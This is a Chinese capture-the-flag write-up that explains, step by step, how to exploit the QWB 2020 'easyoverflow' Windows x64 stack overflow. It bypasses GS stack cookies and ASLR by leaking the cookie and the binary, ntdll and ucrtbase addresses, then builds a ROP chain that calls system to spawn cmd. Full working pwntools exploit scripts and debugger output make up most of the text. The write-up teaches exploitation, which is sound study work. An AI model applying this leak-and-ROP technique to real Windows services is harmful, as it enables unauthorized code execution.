win pwn初探(三)

文章首发于先知社区

上两节都是保护机制几乎都没开的情况下,这一节就开始学习绕过ASLR和GS

win pwn初探(三)

这里以强网杯2020的easyoverflow来练习学习

查看保护

1

没有开SafeSEH和CFG,其他重要的保护都开了

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
FILE *v4; // rax
FILE *v5; // rax
int v6; // ebx
char DstBuf[256]; // [rsp+20h] [rbp-118h] BYREF

v3 = _acrt_iob_func(0);
setbuf(v3, 0i64);
v4 = _acrt_iob_func(1u);
setbuf(v4, 0i64);
v5 = _acrt_iob_func(2u);
setbuf(v5, 0i64);
v6 = 3;
do
{
--v6;
memset(DstBuf, 0, sizeof(DstBuf));
puts("input:");
read(0, DstBuf, 0x400u);
puts("buffer:");
puts(DstBuf);
}
while ( v6 > 0 );
return 0;
}

这个程序很简单,read这里的DstBuf,可以输入0x400大小的数据,而DestBuf是256的空间,所以存在一个栈溢出漏洞

漏洞利用

泄露StackCookie

在CTF的PWN中,因为有canary的存在,所以先泄露出canary,再泄露出程序基地址,最后利用ret2libc3即可攻击成功

在win中的利用也很相似,首先需要泄露出StackCookie这个东西,看一下汇编,这个东西是怎么放入程序的一些地址中的

1
2
3
4
5
push    rbx
sub rsp, 130h
mov rax, cs:__security_cookie
xor rax, rsp
mov [rsp+138h+var_18], rax

在程序开头会将__security_cookie放入rax,然后与rsp进行异或,之后把异或的结果(StackCookie)存放在rsp + 138h + var_18中,再看一下程序的最后

1
2
3
4
5
6
7
xor     eax, eax
mov rcx, [rsp+138h+var_18]
xor rcx, rsp ; StackCookie
call __security_check_cookie
add rsp, 130h
pop rbx
retn

程序结束前会把rsp + 138h + var_18里面的值给到rcx,也就是把上面StackCookie与rsp异或之后的值给rcx,然后再经过一次异或(这样的话StackCookie的值就会回到__security_cookie),最后与__security_cookie进行比较,如果相等则继续,不相等则crash掉

先构造以下poc测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

r = remote('10.211.55.3', 1234)

pause()

p1 = b'a' * 8
r.sendlineafter('input:', p1)

r.interactive()

然后在puts("buffer:");这里下个断点,之后看一下rsp的布局

1
2
3
4
5
6
7
8
0:000> dq rsp
000000ee`9973f840 00000000`00000000 00000000`00000000
000000ee`9973f850 00000000`00000000 00000000`00000002
000000ee`9973f860 61616161`61616161 00000000`0000000a
000000ee`9973f870 00000000`00000000 00000000`00000000
000000ee`9973f880 00000000`00000000 00000000`00000000
000000ee`9973f890 00000000`00000000 00000000`00000000
000000ee`9973f8a0 00000000`00000000 00000000`00000000

可以看到8个a已经被写入,上面的StackCookie会存到rsp + 0x138 - 0x18中,所以看一下

1
2
3
4
0:000> dq rsp + 0x138 - 0x18
000000ee`9973f960 00005fb0`2d14eecc 00000000`00000000
000000ee`9973f970 000002e8`94297480 00007ff6`71ad12f4
000000ee`9973f980 000000ee`9973f9e0 00007ff6`71ad136d

此时程序的StackCookie是00005fb0 2d14eecc这个值也就是0x5fb02d14eecc,看一下输入的buf距离这个地址多少,ee9973f960 - ee9973f860 = 0x100 ,所以编写poc泄露出StackCookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

r = remote('10.211.55.3', 1234)

pause()

p1 = b'a' * 0x100
r.sendlineafter('input:', p1)
r.recvuntil('a' * 0x100)
r.recvuntil('\n')

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

r.interactive()

调试一下看一下泄露的是否正确

1
2
3
4
5
6
0:000> dq rsp + 0x130 - 0x18
00000057`f0bcfc88 61616161`61616161 00002447`1d701f43
00000057`f0bcfc98 00000000`00000000 00000185`4bf47480
00000057`f0bcfca8 00007ff6`637112f4 00000057`f0bcfd10
00000057`f0bcfcb8 00007ff6`6371136d 00000000`00000000
00000057`f0bcfcc8 00000000`00000000 00000000`00000000

可以看到StackCookie的值是0x24471d701f43

1
2
3
4
5
6
7
8
[DEBUG] Received 0x119 bytes:
00000000 62 75 66 66 65 72 3a 0d 0a 61 61 61 61 61 61 61 │buff│er:·│·aaa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 61 61 61 61 61 61 61 61 61 43 1f 70 1d 47 24 0d │aaaa│aaaa│aC·p│·G$·│
00000110 0a 69 6e 70 75 74 3a 0d 0a │·inp│ut:·│·│
00000119
StackCookie = 0x24471d701f43

poc里面StackCookie和上面调试的一样

泄露binary base

因为这个程序三次循环,只要最后的StackCookie正确就不会crash,所以第二次可以泄露出程序的基地址,也就是覆盖rbp,后面就会连带返回值一起泄露出来,poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

r = remote('10.211.55.3', 1234)

pause()

p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)

leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

r.interactive()

运行即可成功泄露出返回地址,此时就可以算出binary base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

r = remote('10.211.55.3', 1234)

pause()

p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)

leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))

r.interactive()

debug细节如下

1
2
3
4
5
6
7
8
9
[DEBUG] Received 0x131 bytes:
00000000 62 75 66 66 65 72 3a 0d 0a 61 61 61 61 61 61 61 │buff│er:·│·aaa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000120 61 f4 12 4c 0c f6 7f 0d 0a 69 6e 70 75 74 3a 0d │a··L│····│·inp│ut:·│
00000130 0a │·│
00000131
leak_addr = 0x7ff60c4c12f4
binary_base = 0x7ff60c4c0000

算出binary_base = 0x7ff60c4c0000,验证一下是否正确,直接看windbg前面的信息

1
2
3
4
5
6
7
8
9
Executable search path is: 
ModLoad: 00007ff6`0c4c0000 00007ff6`0c4c7000 Z:\easyoverflow\StackOverflow.exe
ModLoad: 00007ff8`f3790000 00007ff8`f3b86000 C:\Windows\SYSTEM32\ntdll.dll
ModLoad: 00007ff8`f1eb0000 00007ff8`f1fa4000 C:\Windows\System32\xtajit64.dll
ModLoad: 00007ff8`f1020000 00007ff8`f117c000 C:\Windows\System32\KERNEL32.DLL
ModLoad: 00007ff8`ef810000 00007ff8`efdf9000 C:\Windows\System32\KERNELBASE.dll
ModLoad: 00007ff8`eedd0000 00007ff8`eeea8000 C:\Windows\SYSTEM32\apphelp.dll
ModLoad: 00007ff8`ef270000 00007ff8`ef464000 C:\Windows\System32\ucrtbase.dll
ModLoad: 00007ff8`e6e80000 00007ff8`e6eb5000 C:\Windows\SYSTEM32\VCRUNTIME140.dll

第二行就是binary的地址区间,基地址一样,证明poc正确

接下来需要打返回地址到main函数使得可以继续利用,值得注意的是因为到main函数之后栈会变,所以需要再次泄露出StackCookie,poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#r = remote('10.211.55.3', 1234)
r = remote('192.168.10.102', 1234)

#pause()

p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)

leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))

main_addr = 0x1000 + binary_base

p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)

r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

ret2dll

接下来就可以利用ret2dll的方法来getshell,第一步泄露出dll_base,上一节已经学过了利用iat表来泄露出dll_base,但是这个程序是64位的,参数通过寄存器传递,顺序是 rcx rdx r8 r9

所以笔者用Ropgadget找了一下发现gadgets很少几乎用不了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  easyoverflow ROPgadget --binary StackOverflow.exe --only 'pop|ret'
Gadgets information
============================================================
0x00000001400017ee : pop rbp ; ret
0x00000001400010c9 : pop rbx ; ret
0x00000001400014ed : pop rdi ; pop rsi ; pop rbx ; ret
0x000000014000133d : pop rdi ; ret
0x00000001400014ee : pop rsi ; pop rbx ; ret
0x00000001400010ca : ret
0x0000000140001818 : ret 0
0x0000000140001723 : ret 0x8348
0x0000000140001643 : ret 0xb70f
0x0000000140001678 : ret 0xeb28
0x0000000140001d12 : ret 3

在CTF PWN中,可以通过泄露出libc然后用libc的gadgets,但是win下就不一样,因为没有可用的gadgets,所以需要借助ntdll.dll这个dll来寻找可用的gadgets,为什么是ntdll.dll呢,因为在main函数调用之前会调用ntdll.dll,所以可以泄露出这上面的地址,寻找一下

1
2
3
4
5
6
ModLoad: 00007fff`2da80000 00007fff`2dc89000   C:\WINDOWS\SYSTEM32\ntdll.dll
0:000> dq rsp + 0x170
00000010`d33ffb88 61616161`61616161 61616161`61616161
00000010`d33ffb98 61616161`61616161 61616161`61616161
00000010`d33ffba8 61616161`61616161 61616161`61616161
00000010`d33ffbb8 00007fff`2da8485b 00000000`00000000

10d33ffba8这里存放的地址就是ntdll.dll上的地址,算一下偏移在0x180,并且泄露的地址与base偏移为0x485b所以构造如下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#r = remote('10.211.55.3', 1234)
r = remote('192.168.10.102', 1234)

pause()

p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)

leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))

main_addr = 0x1000 + binary_base

p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)

r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p4 = b'a' * 0x180
r.sendafter('input:', p4)
r.recvuntil('a' * 0x180)

ntdll_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('ntdll_addr = ' + hex(ntdll_addr))

ntdll_base = ntdll_addr - 0x485b
li('ntdll_base = ' + hex(ntdll_base))

r.interactive()

输出的地址正确,因为有aslr的存在,所以地址肯定是随机的,这就造成了上面有时候地址不一样,需要注意的是这里笔者换成了实机,因为arm windows11支持了x64的程序

相应的x64程序的公用DLL和ARM64程序使用的公用DLL一样都会存放在System32目录下。实际上,原来的ARM64系统DLL都已经进化成ARM64x ABI的混合DLL,这些DLL中的机器码主要仍是ARM64 native的,ARM64程序仍然能以最高效率调用里面导出的函数。同时增加了对x64程序基于JIT指令转译模拟执行时调用相关导出函数的支持,主要是将x64调用约定转换为对相应的ARM64函数的调用,执行结果处理则反之。这样可以提高执行效率,因为如果直接使用自Win10 x64版本的System32目录复制过来的x64 DLL的话,DLL中的机器码也需要指令转译,从而影响了执行效率。可能有点像Win10 on ARM下执行x86程序时调用系统常用的DLL使用SyChpe32中的CHPE DLL以提高执行效率的策略。

1
2
3
4
5
6
7
8
9
[DEBUG] Received 0x193 bytes:
00000000 3a 0d 0a 61 61 61 61 61 61 61 61 61 61 61 61 61 │:··a│aaaa│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000180 61 61 61 5b 48 a8 2d ff 7f 0d 0a 69 6e 70 75 74 │aaa[│H·-·│···i│nput│
00000190 3a 0d 0a │:··│
00000193
ntdll_addr = 0x7fff2da8485b
ntdll_base = 0x7fff2da80000

拿到ntdll的地址之后寻找需要用的gadgets,也就是能控制rcx的还有rbx,为什么还有个rbx,看下面的汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
dec     ebx
call memset
lea rcx, Buffer ; "input:"
call cs:puts
mov r8d, 400h ; MaxCharCount
lea rdx, [rsp+138h+DstBuf] ; DstBuf
xor ecx, ecx ; FileHandle
call cs:_read
lea rcx, aBuffer ; "buffer:"
call cs:puts
lea rcx, [rsp+138h+DstBuf] ; Buffer
call cs:puts
test ebx, ebx
jg short loc_7FF60C4C1060

通过rbx来控制循环次数,所以控制了rbx为1之后就可以继续执行rop,找到gadgets之后就需要构造rop了,在构造rop的时候会发现失败,排查下来可以发现是rsp的原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0:000> r
rax=0000000000000140 rbx=0000000000000000 rcx=00000000ffffffff
rdx=00000245250cc230 rsi=0000000000000000 rdi=00000245250d0020
rip=00007ff678e11094 rsp=000000f986aff928 rbp=0000000000000000
r8=0000000000000140 r9=00007fff2b7909a0 r10=0000000000000000
r11=000000000000019c r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
StackOverflow+0x1094:
00007ff6`78e11094 488d0dbd110000 lea rcx,[StackOverflow+0x2258 (00007ff6`78e12258)]
0:000> g
Breakpoint 0 hit
StackOverflow+0x1094:
00007ff6`78e11094 488d0dbd110000 lea rcx,[StackOverflow+0x2258 (00007ff6`78e12258)]
0:000> r
rax=0000000000000140 rbx=0000000000000000 rcx=00000000ffffffff
rdx=00000245250cc230 rsi=0000000000000000 rdi=00000245250d0020
rip=00007ff678e11094 rsp=000000f986affa88 rbp=0000000000000000
r8=0000000000000140 r9=00007fff2b7909a0 r10=0000000000000000
r11=000000000000019c r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000

因为rsp的值改变了,所以最后check cookie会不通过,所以需要重新计算StackCookie,也就是泄露出security_cookie,再计算出新的rsp(000000f986affa88 - 000000f986aff928 = 0x160 ),所以exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#r = remote('10.211.55.3', 1234)
r = remote('192.168.10.102', 1234)

#pause()

p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)

leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))

main_addr = 0x1000 + binary_base

p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)

r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p4 = b'a' * 0x180
r.sendafter('input:', p4)
r.recvuntil('a' * 0x180)

ntdll_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('ntdll_addr = ' + hex(ntdll_addr))

ntdll_base = ntdll_addr - 0x485b
li('ntdll_base = ' + hex(ntdll_base))

pop_rcx_ret = 0x0000000000096065 + ntdll_base
pop_rbx_ret = 0x00000000000012a7 + ntdll_base
pop_rdx_ret = 0x00000000000f12ab + ntdll_base
puts_plt = 0x10A6 + binary_base
security_cookie_addr = 0x3008 + binary_base

p5 = b'a' * 0x100
p5 += p64(StackCookie)
p5 += b'a' * 0x10
p5 += p64(pop_rcx_ret)
p5 += p64(security_cookie_addr)
p5 += p64(pop_rbx_ret)
p5 += p64(1)
p5 += p64(puts_plt)

r.sendafter('input:', p5)

r.recvuntil('a' * 0x100)
r.recvline()
security_cookie = u64(r.recvn(6).ljust(8, b'\x00'))
li('security_cookie = ' + hex(security_cookie))

old_rsp = security_cookie ^ StackCookie
li('old_rsp = ' + hex(old_rsp))
new_rsp = old_rsp + 0x160
li('new_rsp = ' + hex(new_rsp))

现在有了新的rsp,通过security_cookie异或出新的StackCookie即可正常rop,此时输出ucrtbase,然后算出system和cmd,值得注意的是再次rop,rsp还是会变的,算好偏移即可,最终exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#r = remote('10.211.55.3', 1234)
r = remote('192.168.10.102', 1234)

#pause()

p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)

leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))

main_addr = 0x1000 + binary_base

p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)

r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p4 = b'a' * 0x180
r.sendafter('input:', p4)
r.recvuntil('a' * 0x180)

ntdll_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('ntdll_addr = ' + hex(ntdll_addr))

ntdll_base = ntdll_addr - 0x485b
li('ntdll_base = ' + hex(ntdll_base))

pop_rcx_ret = 0x0000000000096065 + ntdll_base
pop_rbx_ret = 0x00000000000012a7 + ntdll_base
pop_rdx_ret = 0x00000000000f12ab + ntdll_base
puts_plt = 0x10A6 + binary_base
security_cookie_addr = 0x3008 + binary_base

p5 = b'a' * 0x100
p5 += p64(StackCookie)
p5 += b'a' * 0x10
p5 += p64(pop_rcx_ret)
p5 += p64(security_cookie_addr)
p5 += p64(pop_rbx_ret)
p5 += p64(1)
p5 += p64(puts_plt)

r.sendafter('input:', p5)

r.recvuntil('a' * 0x100)
r.recvline()
security_cookie = u64(r.recvn(6).ljust(8, b'\x00'))
li('security_cookie = ' + hex(security_cookie))

old_rsp = security_cookie ^ StackCookie
li('old_rsp = ' + hex(old_rsp))
new_rsp = old_rsp + 0x160
li('new_rsp = ' + hex(new_rsp))

read_got = 0x2178 + binary_base

p6 = b'a' * 0x100
p6 += p64(new_rsp ^ security_cookie)
p6 += b'a' * 0x10
p6 += p64(pop_rcx_ret) + p64(read_got)
p6 += p64(pop_rbx_ret) + p64(1)
p6 += p64(puts_plt)
r.sendafter('input:', p6)

r.recvuntil('a' * 0x100)
r.recvline()
ucrt_base = u64(r.recvn(6).ljust(8, b'\x00')) - 0x7650
li('ucrt_base = ' + hex(ucrt_base))

system_addr = 0xBCB20 + ucrt_base
cmd = 0xE0020 + ucrt_base

p7 = b'a' * 0x100
p7 += p64((new_rsp + 0x160) ^ security_cookie)
p7 += b'a' * 0x10
p7 += p64(pop_rcx_ret) + p64(cmd)
p7 += p64(system_addr)

r.sendafter('input:', p7)

r.interactive()

看一下打通的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[*] Switching to interactive mode

[DEBUG] Received 0x6 bytes:
b'buffer'
buffer[DEBUG] Received 0x17d bytes:
00000000 3a 0d 0a 61 61 61 61 61 61 61 61 61 61 61 61 61 │:··a│aaaa│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 61 61 61 8a d2 4f 29 c5 43 0d 0a 4d 69 63 72 6f │aaa·│·O)·│C··M│icro│
00000110 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 5b b0 e6 │soft│ Win│dows│ [··│
00000120 b1 be 20 31 30 2e 30 2e 32 32 30 30 30 2e 39 37 │·· 10.0.│22000.97
00000130 38 5d 0d 0a 28 63 29 20 4d 69 63 72 6f 73 6f 668]··│(c) │Micr│osof│
00000140 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e a1 a3 b1 │t Co│rpor│atio│n···│
00000150 a3 c1 f4 cb f9 d3 d0 c8 a8 c0 fb a1 a3 0d 0a 0d │····│····│····│····│
00000160 0a 43 3a 5c 55 73 65 72 73 5c 4c 65 6e 6f 76 6f │·C:\│User│s\Le│novo│
00000170 5c 44 65 73 6b 74 6f 70 5c 70 77 6e 3e │\Des│ktop│\pwn│>│
0000017d
:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��O)�C
Microsoft Windows [�汾 10.0.22000.978]
(c) Microsoft Corporation����������Ȩ����

C:\Users\Lenovo\Desktop\pwn>

一次不通可以多打几次

总结

也是学到了如何绕过GS,因为pwntools的模块没有像libc.sym的这样的东西,所以在写exp的时候没有自动化的一个获取,后面笔者有时间的话会寻找一下有没有对应的解决方案

Reference

https://www.zhihu.com/question/434317266/answer/1623308852

https://ret2ver.github.io/2021/10/02/2020%E5%BC%BA%E7%BD%91%E6%9D%AF-easyoverflow/

https://github.com/z1r00/ctf-pwn/blob/main/winpwn/QWB2020/easyoverflow.zip